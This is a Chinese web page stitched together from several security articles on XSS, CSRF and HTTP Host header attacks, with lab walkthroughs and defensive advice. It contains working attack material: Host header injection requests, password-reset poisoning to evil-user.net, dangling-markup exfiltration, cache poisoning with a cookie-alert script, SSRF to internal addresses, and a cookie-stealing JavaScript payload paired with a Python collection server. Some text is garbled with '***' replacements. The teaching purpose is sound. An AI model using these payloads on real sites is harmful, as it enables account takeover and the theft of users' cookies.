XSS攻击如何实现以及保护Web站点免受跨站点脚本攻击
使用工具和测试防范跨站点脚本攻击. 跨站点脚本(XSS)攻击是当今主要的攻击途径之一,利用了Web站点的漏洞并使用浏览器来窃取cookie或进行金融交易。跨站点脚本漏洞比较常见,并且要求组织部署涵盖威胁建模、扫描工具和大量安全意识在内的周密的安全开发生命周期,以便达到更佳的XSS防护和预防。本文解释了跨站点脚本攻击是如何实现并且就如何保护企业Web应用免于这种攻击提供了建议。 跨站点脚本(XSS)允许攻击者通过利用因特网服务器的漏洞来发送恶意代码到其他用户。攻击者利用跨站点脚本(XSS)攻击向那些看似可信任的链接中注入恶意代码。当用户点击了链接后,内嵌的程序将被提交并且会在用户的电脑上执行,这会使黑客获取访问权限并偷走敏感数据。攻击者使用XSS来攻击受害者机器上的漏洞并且传输恶意代码而不是攻击系统本身。 通过用户输入的数据返回错误消息的Web表格,攻击者可以修改控制Web页面的HTML代码。黑客能够在垃圾信息中的链接里插入代码或者使用欺诈邮件来诱使用户对其身份产生信任。 例如攻击者可以发送带有URL的邮件给受害人,这个URL指向一个Web站点并且提供浏览器脚本作为输入;或者在博客或诸如Facebook、Twitter这样的社交网站上发布恶意URL链接。当用户点击这个链接时,该恶意站点以及脚本将会在其浏览器上运行。浏览器不知道脚本是恶意的并将盲目地运行这个程序,这转而允许攻击者的浏览器脚本使用站点的功能来窃取cookie或者冒充合法的用户来完成交易。 一些通常的跨站点脚本预防的更佳实践包括在部署前测试应用代码,并且以快速、简明的方式修补缺陷和漏洞。Web应用开发人员应该过滤用户的输入来移除可能的恶意字符和浏览器脚本,并且植入用户输入过滤代码来移除恶意字符。通常管理员也可以配置浏览器只接受来自信任站点的脚本或者关闭浏览器的脚本功能,尽管这样做可能导致使用Web站点的功能受限。 随着时代的进步黑客们变得更加先进,使用收集的工具集来加快漏洞攻击进程。这意味着仅仅部署这些通常的XSS预防实践是不够的,保护和预防过程必须从底层开始并持续提升。预防过程必须在开发阶段开始,建立在一个牢靠、安全的开发生命周期 *** 论之上的Web应用在发布版本中不太可能暴露出漏洞。这样以来,不仅提升了安全性,也改善了可用性而且缩减了维护的总体费用,因为在现场环境中修补问题比在开发阶段会花费更多。 威胁建模在XSS预防中也是重要的一个方面,应该纳入到每个组织的安全开发生命周期当中。威胁建模评估和辨识在开发阶段中应用程序面临的所有的风险,来帮助Web开发人员更好地理解需要什么样的保护以及攻击一旦得逞将对组织产生怎样的影响。要辨识一个特定应用的威胁级别,考虑它的资产以及它访问的敏感信息量是十分重要的。这个威胁建模过程将确保在应用的设计和开发过程中战略性地融合了安全因素,并且增强了Web开发人员的安全意识。 对于大型项目的Web开发人员来说,源代码扫描工具和Web应用漏洞扫描器是提高效率和减少工作量的通常选择。
weblogichost头攻击配置
1. HTTP Host头攻击
从HTTP / 1.1开始,HTTP Host标头是必需的请求标头。它指定客户端要访问的域名。例如,当用户访问时,其浏览器将组成一个包含Host标头的请求,如下所示:
GET /web-security HTTP/1.1
Host: example.net
HTTP Host头的目的是帮助识别客户端要与之通信的后端组件。如果请求不包含Host头或者格式不正确,则在将传入请求的应用程序时可能会导致问题。
从历史上看,这种漏洞并不存在太大问题,因为每个IP地址只会被用于单个域的内容。如今,很大程度上是由于同一个IP上存在多个Web应用程序(不同端口,不同域名解析等),通常可以在同一IP地址访问多个网站和应用程序。这种 *** 的普及也部分是由于IPv4地址耗尽所致。
当可以通过同一IP地址访问多个应用程序时,最常见的原因是以下情况之一:
虚拟主机
单个Web服务器托管多个网站或应用程序。这可能是具有单个所有者的多个网站,但是也可能是不同所有者的网站托管在同一个共享平台上。它们都与服务器共享一个公共IP地址。
通过 *** 路由流量
网站托管在不同的后端服务器上,但是客户端和服务器之间的所有流量都通过 *** 系统进行路由。这可能是一个简单的负载平衡设备或某种反向 *** 服务器。在客户通过内容分发 *** (CDN)访问网站的情况下,这种设置尤其普遍。
在上面两种种情况下,即使网站托管在单独的后端服务器上,它们的所有域名也都解析为中间组件的单个IP地址。这带来了与虚拟主机相同的问题,因为反向 *** 或负载平衡需要知道每个请求到的哪个后端上。
HTTP Host头的作用就在于,指定请求应该发送到那个应用程序的后端服务器上。打个比方,一封信需要送到居住在公寓楼中的某人手中,整个公寓有许多房间,每个房间都可以接受信件,通过指定房间号和收件人(也就是HTTP Host头)来将信封送到指定的人手中。
3. 什么是HTTP Host头攻击
一些网站以不安全的方式处理Host头的值。如果服务器直接信任Host头,未校验它的合法性,则攻击者可能能够使用此可控变量来注入Host,以操纵服务器端的行为。
现成的Web应用程序通常不知道将它们部署在哪个域上,除非在安装过程中在配置文件中手动指定了该域。例如,当他们需要知道当前域以生成电子邮件中包含的绝对URL时,他们可能依赖于Host头中的值:
a href="['HOST']/support"联系支持/a
Host头值还可以用于不同网站系统之间的各种交互。
由于Host头实际上是用户可控制的,因此这种做法可能导致许多问题。如果未校验或者直接使用Host头,则Host头可以与一系列其他漏洞“组合拳”攻击,比如:
缓存投毒
特殊业务功能的逻辑漏洞
基于路由的SSRF
经典服务端漏洞,如SQL注入(当Host被用于SQL语句时)等
4. 如何发掘HTTP Host头攻击
首先要判断服务端是否检测Host头?检测完了是否还使用Host头的值?
通过修改Host的值,如果服务端返回错误信息:
30b04453d11b44a56c903cc387f17296.png
则说明服务端检测了Host的内容。至于有没有使用Host头的值,有以下几种 *** 去发掘:
修改Host值
简单的来说,可以修改HTTP头中的Host值,如果观察到响应包中含有修改后的值,说明存在漏洞。
但有时候篡改Host头的值会导致无法访问Web应用程序,从而导致“无效主机头”的错误信息,特别是通过CDN访问目标时会发生这种情况。
添加重复的Host头
添加重复的Host头,通常两个Host头之中有一个是有效的,可以理解为一个是确保请求正确地发送到目标服务器上;另一个则是传递payload到后端服务器中。
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: attackd-stuff
使用绝对路径的URL
尽管许多请求通常在请求域上使用相对路径,但是也同时配置了绝对URL的请求。
GET HTTP/1.1
Host: attack-stuff
有时候也可以尝试不同的协议,如HTTP或HTTPS。
添加缩进或换行
当一些站点block带有多个Host头的请求时,可以通过添加缩进字符的HTTP头来绕过:
GET /example HTTP/1.1
Host: attack-stuff
Host: vulnerable-website.com
注入覆盖Host头的字段
与Host头功能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attack-stuff
诸如此类,还有其他的字段:
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
忽略端口仅校验域名
当修改、添加重复Host头被拦截的时候,可以尝试了解Web应用程序是怎样解析Host头的。
比如,一些解析算法会忽略Host头中的端口值,仅仅校验域名。这时候可以将Host修改为如下形式:
GET /example HTTP/1.1
Host: vulnerable-website.com:attack-stuff
保持域名不变,修改端口值为非端口号的其他值(非数字), 将Host头攻击的payload放在端口值处,同样能进行Host头攻击。
5. HTTP Host头攻击漏洞示例
5.1 密码重置中毒
根据HTTP Host头攻击的攻击特点,它被广泛应用于密码重置中毒:攻击者可以操纵网站在重置密码情况下生成的密码重置链接,使其发送攻击者指定的域下,利用此来窃取重置任意用户密码的令牌。
1c2aa7d6f7e77ca7c2bd09feee527087.png
一个重设密码(忘记密码)功能的大致流程如下:
用户输入其用户名或电子邮件地址,然后提交密码重置请求。
该网站检查该用户是否存在,然后生成一个临时的、唯一的、复杂的令牌,该令牌与后端的用户帐户相关联。
该网站向用户发送一封电子邮件,其中包含用于重置其密码的链接。重置令牌的参数包含在相应的URL中:
4. 当用户访问此URL时,网站将检查提供的令牌是否有效,并使用它来确定要重置哪个帐户。如果一切都符合,则可以进入用户重置密码步骤。最后,令牌被销毁。
以上步骤的安全性依赖于:只有目标用户才能访问其电子邮件,从而可以访问其唯一的令牌。
密码重置中毒是窃取此令牌以更改另一个用户密码的一种漏洞。
如果网站重置密码的流程完全依赖用户的可控输入(如HTTP Host头),这可能导致密码重置中毒:
1. 攻击者获取受害者的用户名或者电子邮件,作为提交重置密码的请求,攻击者会拦截请求并修改HTTP Host头为其指定的域,如evil-user.net
2. 受害者会收到一封重置密码的邮件,但由于攻击者修改了Host头,而web程序生成重置链接又完全依赖于Host头,导致生成以下URL:
3. 如果受害者点击了该链接,重置密码的令牌就会发送到攻击者的服务器 evil-user.net 上
4. 当攻击者获取到虫子密码的令牌之后,就会进行相应的构造访问真实重置密码的URL进行密码重置。
5.1.1 密码重置中毒—基础
详细了解了上面的密码重置中毒的流程和原理之后,这里通过HTTP Host头攻击导致的基础的密码重置中毒来演示。
首先输入用户名或者用户的电子邮箱来重置指定用户的密码:
534a1d062ccc3813b6596fdec0bb475b.png
提交之后,会发送一封重置密码的电子邮件到wiener用户的邮箱中(数据包如右图):
7c47a2e653a4fcbbaeae1687f914d093.png
注意重置密码的链接,可能是受Host头的值的影响?
我们来验证一下是否存在HTTP Host头攻击,修改Host头的值为 baidu.com:
8901c053cc8c3e6f0383f5f61b14d549.png
发现请求是可以被后端服务器接收的,所以是存在HTTP Host头攻击的。
这里就输入受害用户carlos进行重置密码,然后抓包将Host头的值改为我们自己的服务器:
ec1f439fbc6013f1b4f71011a2885947.png
然后在我们自己的服务器上就可以通过访问日志看到被窃取的重置密码Token:
c3b81283ee2a440dcf205a1ab344ab32.png
然后根据已知链接规律,构造重置密码的链接:
1a4ba4a58416c68b3f513ba1239f76d9.png
随即进入输入新密码的界面,密码重置中毒成功。
5.1.2 密码重置中毒—注入覆盖Host头的字段
有时候直接修改Host头、添加重复Host头的值以及混淆Host头都不行:
3ca0c53bfef0d9b47a9f788eb484f40f.png
可以尝试使用与Host头功能相同的HTTP字段,如X-Forwarded-Host、X-Forwarded-For等,可以进行Fuzz:
cbb645bac4d5b28e8b91c39b174a0767.png
实际上他能够被 X-Forwarded-Host 字段影响,导致Host头攻击,当同时添加多个字段使请求被拦截时,可以尝试类似排除法、二分法来排查哪个字段有效。
对受害用户carlos进行密码重置投毒:
53fd95a8a051dd84951094b4e3e79502.png
然后构造链接即可:
efb5ab58ec4a711faa6f4dac736e069a.png
5.1.3 重置密码中毒—Dangling Markup技术
首先简单介绍一下 Dangling Markup技术:
Dangling markup技术
Dangling markup技术, 是一种无需脚本即可窃取页面内容的技术,它使用图像等资源(结合CSP运行的策略)将数据发送到攻击者控制的远程位置。当反射型XSS不工作或被内容安全策略(CSP)阻止时,它非常有用。其思想是插入一些未完成状态的部分HTML,例如图像标记的src属性,页面上的其余标记关闭该属性,但同时将两者之间的数据(包含窃取页面的内容)发送到远程服务器。
例如,我们在反射型XSS注入点上注入这样一个img标签:
img src="?
则注入点和下一个双引号的代码将会发送到攻击者的 服务器, 其中被发送的代码或者内容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用。
关于 Dangling Markup技术 的实战意义可以参考博主之前的文章:绕过CSP之Dangling markup技术
什么时候可以使用 Dangling Markup技术 呢?与我们这篇文章的主题有什么关系呢?
我们直接进入主题,当输入需要重置密码的用户名后,该用户的邮箱内会收到如下邮箱:
67a4c2bc755ebbb44847d23189d30422.png
有一个跳转到登录界面的链接,后面紧接着重置之后的随机密码。
此时考虑一下,该链接是否是从Host头取值而来?只要这个值可控,那么就可以利用Host头攻击实施 Dangling Markup攻击,包含住链接后面紧跟着的密码,再结合Host头攻击将请求指定到攻击者服务器上。一个漫天过海的窃取行为就完成了。
之一步,寻找Host头攻击点:
通过Fuzz,可发现Host头攻击类型为 忽略端口仅校验域名。即服务端在校验Host域的时候,仅校验了域名,忽略了后面的端口号,造成端口值可控(可以是数字或字符):
904608f5a5bb3404d1ef62f6c92481b9.png a59bf77cc52ad88158c7fdc06202e54b.png
通过在Host头的端口中注入payload,依旧可以实现Host头攻击。
第二步,借助可控变量 Host:ip:port 来实施 Dangling Markup技术,从而将后面的密码外带到攻击者服务器上:
注意,需要闭合此处的双引号出去,经过尝试,输入单引号时,服务端会自动转为双引号,故这里通过单引号将双引号闭合,然后添加自定的a href=xxx.attack-domain标签将密码外带:
184e31cb9b0426e30db33340e2e16c91.png
原本的正常HTML是这样的:
ed4e92688d41cd5e90434d73f12aa811.png
通过Dangling Markup技术 在a标签的链接中注入? 符,使得后面的值在双引号闭合之前全部被当做URL参数请求到攻击者服务器上:
b90e561f45ba0a4e1df4f0363069921e.png
这也是 Dangling Markup技术 的精髓所在,该技术的核心点在于:
可控变量后面是否接着需要窃取的关键数据(包括Token、密码等)
在攻击者服务器上可以看到被Host头攻击转发上来的请求,里面成功窃取了受害者重置后的密码:
d1f9d32d9c0a753a3088e81d382ce9e6.png
5.2 Host头攻击+缓存投毒
当存在Host头攻击的web站点不存在密码重置的功能的时候,此时该漏洞就显得没有影响,因为不可能驱使用户去抓包修改Host头,辅助攻击者完成一系列的攻击。
但是,如果目标站点使用Web缓存,则可以通过缓存投毒给其他用户提供带有病毒的缓存响应。此时的Host头攻击漏洞转变为类似XSS存储型类的漏洞。要构造Web缓存投毒攻击:
1. 需要寻找映射到其他用户请求的缓存键;
2. 下一步则是缓存此恶意响应;
3. 然后,此恶意缓存将提供给尝试访问受影响页面的所有用户。
之一步,寻找Host头攻击点:
通过对站点的主页添加重复的Host值,可以达到覆盖的效果,并验证存在Host头攻击:
b09b4eeacd00d364633ccda68d1de500.png
第二步,寻找是否使用了Web缓存?缓存键是什么?
从上图中也可以发现,站点使用了Wen缓存功能,并且配合Host头攻击,可以缓存/resources/js/tracking.js资源文件。
第三步,在攻击者服务器上创建一个同名的 /resources/js/tracking.js资源文件,内容为:
alert(document.cookie);
然后通过Host头注入攻击者服务器域名,可以看到在响应中正确地对应了我们的 /resources/js/tracking.js资源文件:
8458208389ca34f2736aea5e82afc11e.png
发送多次请求,使该请求的响应变为缓存:
200f4558b179f6aa8cd8bda18f763b66.png
当其他用户请求站点主页时,服务端就会提供该恶意缓存给用户,造成缓存投毒。
5.3 Host头攻击绕过访问控制
出于安全考虑,通常网站对某些功能的访问限制为内部用户使用。但是通过Host头攻击一定可能上可以绕过这些限制。
对于一个站点,从发现Host头攻击到利用,下面来展示一个完整的流程:
之一步,访问主页,随意修改Host的值:
9649967593356ece9722484a91980ff3.png
注意,这里的Host的值不会出现响应包中,但是依然可能存在Host头攻击,因为响应依然成功,说明服务端没有对Host头做验证。
第二步,寻找敏感页面,通过 /robots.txt 知道 /admin 为做了访问控制的页面:
d3fd91199b6c914ec44a0b7659f56e1d.png
可以错误信息提示,/admin 页面只允许本地用户访问。
第三步,将Host改为服务端内部地址,从而绕过IP访问控制:
c66736849f5149d01997ea9edbf9f1ce.png
5.4 Host头攻击+SSRF
Host头攻击可能会导致基于路由的SSRF攻击,称为:Host SSRF Attack。
经典的SSRF攻击通常基于XXE或可利用的业务逻辑,将用户可控的URL作为HTTP请求发送;而基于路由的SSRF依赖于云部署的体系结构中,包括负载均衡和反向 *** ,这些中间件将请求分配发送到对应的后端服务器处理,如果服务端未校验Host头转发的请求,则攻击者可能会将请求发送(重定向)到体系中的任意系统。
这可能需要知道内部系统的IP地址(私有地址),一般可以通过信息收集或者Fuzz来判断有效的私有IP地址(如枚举192.168.1.1/16)。
5.4.1 基础Host头攻击+SSRF
比如,普通方式访问不到 /admin 页面(404):
774952d6bc5c1f9c84078f832d213f06.png
猜测 /admin 存在于内网中,需要内网机器才能访问,但是配合Host头攻击+SSRF可以绕过并访问。
之一步,判断Host是否被使用,可用DNSLog外带
这里我使用Burp自带的 “Burp Collaborator client” 来实现外带:
fe89ddd297619cc7283a92ba551a877e.png
说明服务端是根据Host头的域名来请求资源的。
第二步,基于Host头的SSRF探测内网主机
假如一些敏感的页面(比如管理页面),深处于内网,外网无法访问,但是通过Host头攻击+SSRF可达到绕过访问控制,从而访问内网资产,这里Fuzz内网的IP的C段为192.168.0.0/24,直接利用Intruder枚举:
a450a6e1f580ed2201f1e7a20d8c7395.png 8f19202c9c4fc0a81696f084f2066d1d.png
得到内网IP为192.168.0.240
第三步,访问内网资源
构造 /admin 页面,在Host处换位内网IP:
4522a7e735f469b8221d677c8b6a1966.png
5.4.2 Host头攻击+SSRF—使用绝对路径的URL
有时候服务端会校验Host头的值,如果Host被修改,服务端会拒绝一切修改过后的请求:
591a625e712178e117db63b2d5e217fc.png
普通请求通常在请求域上使用相对路径,但是,服务端也同时可能配置了绝对URL的请求,采用如下形式可绕过对Host的验证:
GET HTTP/1.1
4030f968be73cbd6bf90f8e61dde4d2a.png
接着用 “Burp Collaborator client” 进行外带:
6b68718a8514a4b9803f40b8d227d959.png
外带成功,说明Host头被服务端使用来向指定域名请求资源,直接SSRF爆破内网:
675515a890884884ce25786619575ca2.png
访问内网页面:
4e7c3841b5c7ee2aaa0e6f3bf75e4bad.png
6 HTTP Host头攻击防护
最简单的 *** 是避免在服务器端代码中完全使用Host头,可以只使用相对URL。
其他 *** 包括:
6.1 正确配置绝对域名URL
当必须使用绝对域名URL时,应在配置文件中手动指定当前域的URL,并引用配置的值,而不是从HTTP的Host头中获取。这种 *** 可防止密码重置的缓存投毒。
6.2 白名单校验Host头的域
如果必须使用Host头,需要正确校验它的合法性。这包括允许的域,并使用白名单校验它,以及拒绝或重定向对无法识别的主机请求。这包括但不仅限于单个web应用程序、负载均衡以及反向 *** 设备上。
6.3 不支持主机头覆盖
确保不适用与Host头功能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。
值得一提的是,不应该将内网使用的Host主机(不出网)与公网的应用程序托管在同一个服务器上,否则攻击者可能会操纵Host头来访问内部域。
前端安全方面有没有了解?xss和csrf如何攻防
在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。
XSS:脚本中的不速之客
XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。
正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。
真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的 *** 处理,简单的 *** 就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。
现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本更低而又最有效的做法。
CSRF:冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,更好的 *** 是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。
严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。
例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 *** 把发贴内容拼接成目标 URL 并访问:
标题content=内容
那么,我只需要在论坛中发一帖,包含一链接:
我是脑残content=哈哈
只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 *** 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。
比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。
首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求 *** 对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求 *** ,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求 *** ,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。
接下来我们就可以用比较简单也比较有效的 *** 来防御 CSRF,这个 *** 就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现 *** 非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:
虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的 *** 在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。
之一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、 *** 的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个 *** 看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。
总体来说,目前防御 CSRF 的诸多 *** 还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“ *** ”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌 *** ,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的 *** ,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。
XSS攻击原理是什么?
